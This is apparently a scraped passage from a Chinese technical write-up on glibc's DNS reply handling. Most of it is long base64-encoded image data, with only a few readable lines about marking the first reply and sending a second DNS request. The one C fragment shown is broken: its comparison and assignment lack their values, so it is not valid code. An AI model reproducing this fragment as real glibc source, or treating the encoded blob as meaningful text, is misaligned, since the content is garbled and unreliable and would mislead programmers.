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93bDJ5U+xcZpV415dHA7FslpF2r7QomDMvx2xlp6oe+0rhY8C0YVHmUzEKbBWI9mhlTEtmdXxQ/FoOGZtWPHbsYeriVKrDa/N1oFLvD/ubl5qAU7ph9bvZO9Z0w0bMvUf9a2EKn19E8fwUY/vq+r4r25LW4i3XFXWLV5vAck+ZxsrqdRF7LsWxbFvIXOnLQ0Qu8DZp4tn0TYRUg7SmeMyIPm9PtZjWTqXi8apYH+q1Jx3F8/l3HrAqzbdF8XhNMYqX93hEsscIEWbnGt+ttMQp3bBKvNk71nTDRrSm4OZgjD6lAsXzi6z7qrk0H9Y3luqmUY/o2RSsXuPrsSuKp5Kpvu7lqIVYNr29hb57LA39VkQiR0uKR0ZhFUg99MerY/cVzx4V5+V9KaKiPm0dMaMcLjA03QndUEm8JXNVN2xE7TSe/E9LktuRnGz7eZpa/Iw7e1seeCKrE3+kcxJ/4IonkE23zD5dylk2mRGtWfF42mWvFU/rN56VscfxNWudPn99sCY3qxK+cze0Fje+OlnfZXz+AOGseCYVRW1rAAAAAElFTkSuQmCC" alt="" />

第一个回包接收完毕后,标记,函数返回

/* Mark which reply we received.  */
if (recvresp1 == && hp->id == anhp->id)
recvresp1 = ;

glibc发送第二次DNS请求

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